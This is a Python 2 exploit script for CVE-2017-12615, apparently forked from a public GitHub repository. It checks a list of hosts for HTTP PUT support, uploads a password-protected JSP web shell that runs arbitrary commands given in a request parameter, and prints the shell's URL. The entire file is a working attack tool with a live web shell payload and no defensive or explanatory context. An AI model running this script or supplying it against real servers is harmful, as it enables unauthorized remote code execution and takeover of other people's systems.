cve-2017-12615.py

#! -*- coding:utf-8 -*-
# fork from 
# https://github.com/fupinglee/MyPython/blob/daf6112347013265c196e83792e27de1569dce08/exploit/CVE-2017-12615/CVE-2017-12615.py

import httplib
import sys
import time

#shell：http://192.168.135.132/1505876909.jsp?cmd=whoami&pwd=023

body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''


try:
    host_list = sys.argv[1].split(',')

    for host in host_list:
        conn = httplib.HTTPConnection(host)
        conn.request(method='OPTIONS', url='/')
        headers = dict(conn.getresponse().getheaders())
        if 'allow' in headers and \
           headers['allow'].find('PUT') > 0 :
            conn.close()
            print "[+]Server {0} seems vulnerable".format(host)

            conn = httplib.HTTPConnection(host)
            url = "/" + str(int(time.time()))+'.jsp::$DATA'
            conn.request(method='PUT', url=url, body=body)
            conn.close()

            conn = httplib.HTTPConnection(host)
            conn.request(method='GET', url=url[:-7])
            response = conn.getresponse()

            if response.status == 200:
                print 'shell:', 'http://' + host + url[:-7]
                #print 'shell:', shellurl
            else :
                print "[-]Upload failed"
            conn.close()

        else:
            print '[-]Server {0} seems not vulnerable'.format(host)
        
except Exception,e:
    print 'Error:', e